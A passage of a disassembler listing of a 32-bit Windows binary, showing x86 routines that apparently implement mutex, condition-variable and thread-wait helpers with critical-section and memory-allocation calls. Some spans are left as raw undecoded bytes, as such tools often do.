; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3D8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h,	4C48377h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E8E0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		call	near ptr 28D060Ch
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E8E0
		call	near ptr 7C9010EDh
		nop
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 28D056Ah
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3D8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 24909A5h, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 7D9E850h
		dd 5090024Ch, 0E850D3FFh, 249FD34h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 4A0323E8h
		dd 28468902h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3E8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3E8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	near ptr 28C08B7h
		nop
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E8E0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_44573C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E8E0
		mov	dword_44573C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E8E0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E8E0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44573C
		push	offset dword_50E8E0
		mov	[edx+8], eax
		mov	dword_44573C, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 28C0717h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		call	near ptr 28E057Dh
		nop
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	near ptr 28F078Ah
		nop
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 28F0000h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E940
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E940
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 28D056Ah
		nop
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FBD0E890h
		dd 7E83024Ah, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 28E03CEh
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 28D056Ah
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FA98E890h
		dd 7E83024Ah, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		call	near ptr 28E071Eh
		nop
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		call	near ptr 28E071Eh
		nop
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 28E071Eh
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


